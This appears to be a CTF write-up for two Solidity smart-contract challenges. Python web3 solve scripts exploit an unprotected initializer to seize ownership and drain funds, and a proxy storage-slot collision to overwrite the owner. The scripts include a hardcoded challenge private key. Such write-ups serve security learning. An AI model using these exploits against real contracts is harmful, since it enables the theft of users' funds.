https://ctftime.org/event/1858
Owner powned
chall
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract Challenge1 {
address public me;
mapping(address => uint256) balances;
//constructor
function initWallet() public {
me = msg.sender;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender]);
payable(msg.sender).transfer(amount);
balances[msg.sender] -= amount;
}
//If there is an emergency, i'm protected \o/
function migrateTo(address to) public {
require(msg.sender == me, "Only me can withdraw all the funds");
payable(to).transfer(address(this).balance);
}
//getBalance returns the balance of the contract, it is always nice to check my fortune
function getBalance() public view returns (uint)
{
return (address(this).balance / 1 ether);
}
}
solve
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://z.dvc.tf:7545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3
myAddr = Public_Address
me = "0x284cC70A18899D6abc7AE968900D252812a961c6"
cont = "0x702F454A55322E08ACB0292c066a4bBa7EEa9bD5" # deployed contract's address
def initWallet():
f = open('con_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["initWallet"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def migrateTo():
f = open('con_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["migrateTo"](myAddr).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
initWallet()
migrateTo()
Upgradeable Casino
chall
casino.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract Casino {
uint256 maxFreeTokens = 10;
// Keep track of the tokens spent at each game
uint64 roulette = 0;
uint64 slotMachine = 0;
uint64 blackjack = 0;
uint64 poker = 0;
address admin = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159;
mapping(address => uint256) balances;
mapping(address => uint256) lastFreeTokenRequest;
function changeMaxFreeTokens(uint256 newValue) external
{
require(msg.sender == admin, "Only admin can change the number of free tokens you can get");
maxFreeTokens = newValue;
}
function requestFreeTokens(uint256 numberOfTokensRequested) external {
require(numberOfTokensRequested <= maxFreeTokens, "You can't request that much free tokens");
require(block.number > lastFreeTokenRequest[msg.sender] + 2,
"Wait a few more blocks before collecting free tokens");
lastFreeTokenRequest[msg.sender] = block.number;
balances[msg.sender] += numberOfTokensRequested;
}
function playTokens(uint64 tokensForRoulette, uint64 tokensForSlotMachine, uint64 tokensForBlackjack, uint64 tokensForPoker) external
{
require(tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker <= balances[msg.sender],
"You don't have enough tokens to play");
// Increase the analytics variables
roulette += tokensForRoulette;
slotMachine += tokensForSlotMachine;
blackjack += tokensForBlackjack;
poker += tokensForPoker;
balances[msg.sender] -= tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker;
uint256 earnedTokens = 0;
// Play the tokens at the chosen games
// Roulette
earnedTokens += tokensForRoulette*2*(randMod(3) == 0 ? 1 : 0);
// Slot
earnedTokens += tokensForSlotMachine * 500 * (randMod(1000) == 0 ? 1 : 0);
// Blackjack
earnedTokens += tokensForBlackjack * 15 * (randMod(21) == 0 ? 1 : 0);
// Poker
earnedTokens += tokensForPoker * 10000 * (randMod(15000) == 0 ? 1 : 0);
balances[msg.sender] += earnedTokens;
}
// Initializing the state variable
uint randNonce = 0;
// Defining a function to generate
// a random number
function randMod(uint _modulus) internal returns(uint)
{
// increase nonce
randNonce++;
return uint(keccak256(abi.encodePacked(block.timestamp,msg.sender,randNonce))) % _modulus;
}
function getBalance(address user) external view returns(uint256){
return balances[user];
}
function buyTokens() payable external {
// deposit sizes are restricted to 1 ether
require(msg.value == 1 ether);
balances[msg.sender] += 10000 ;
}
}
proxy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract Proxy {
address _implementation;
address _owner = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159; //0x0000000000000000000000000000000000000000;
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializing the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic) payable {
_implementation = _logic;
}
function getOwner() external view returns (address) {
return _owner;
}
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_delegate(_implementation);
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
_implementation = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_implementation = newImplementation;
}
}
solve
There are conflicts of storage slot.
proxy's implementation = maxFreeTokens
proxy's owner = poker || blackjack || slotMachine || roulette
from web3 import Web3
import sha3
import json
from solc import compile_source
import time
w3 = Web3(Web3.HTTPProvider("http://z.dvc.tf:7545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3
myAddr = Public_Address
cont = "0xc2eD7BC05DB0d4FfF20F41D1cFf09CD7C7cC8EB8" # proxy contract address
from Crypto.Util.number import *
def getRand(time, addr, nonce):
return bytes_to_long(Web3.soliditySha3(['uint256', 'address','uint256'], [time, addr, nonce]))
def getTime():
return w3.eth.get_block('latest')['timestamp']
target1 = 0xD1fF9D506104c5Bd6688Ca5DFd3068170025eD36
target2 = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159
targets = []
divs = [2, 500, 15, 10000]
for i in range(4):
targets.append(((target1 >> 64 * (3-i)) & 0xffffffffffffffff) - ((target2 >> 64 * (3-i)) & 0xffffffffffffffff))
for i in range(4):
print(targets[i])
answers = [0] * 4
results = []
def playTokens(a, b, c, d):
f = open('con_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["playTokens"](a, b, c, d).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
# "gas": 10**18
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def buyTokens(val):
f = open('con_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["buyTokens"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": val,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def requestFreeTokens(val):
f = open('con_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions["requestFreeTokens"](val).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
print(w3.eth.get_storage_at(cont, 1).hex())
requestFreeTokens(0x73ad18042EC0Bec33ACEB8C070c018b53850c43f) # casino contract address
playTokens(2**64 - (target2 & 0xffffffffffffffff), 0, 0, 0)
playTokens(target1 & 0xffffffffffffffff - 4, 6869315878430010885, 2001131302, 0)
playTokens(1, 0, 0, 0)
print(w3.eth.get_storage_at(cont, 1).hex())
'writeups' 카테고리의 다른 글
angstromctf 2023 - pwn(Sailor's Revenge) (0) | 2023.04.27 |
---|---|
NumemCTF 2023 (0) | 2023.04.01 |
SUITF (0) | 2023.03.03 |
PBCTF 2023 - rev(move VM) (0) | 2023.02.20 |
Idek CTF 2023 pwn - (baby blockchain 1,2,3) (0) | 2023.02.19 |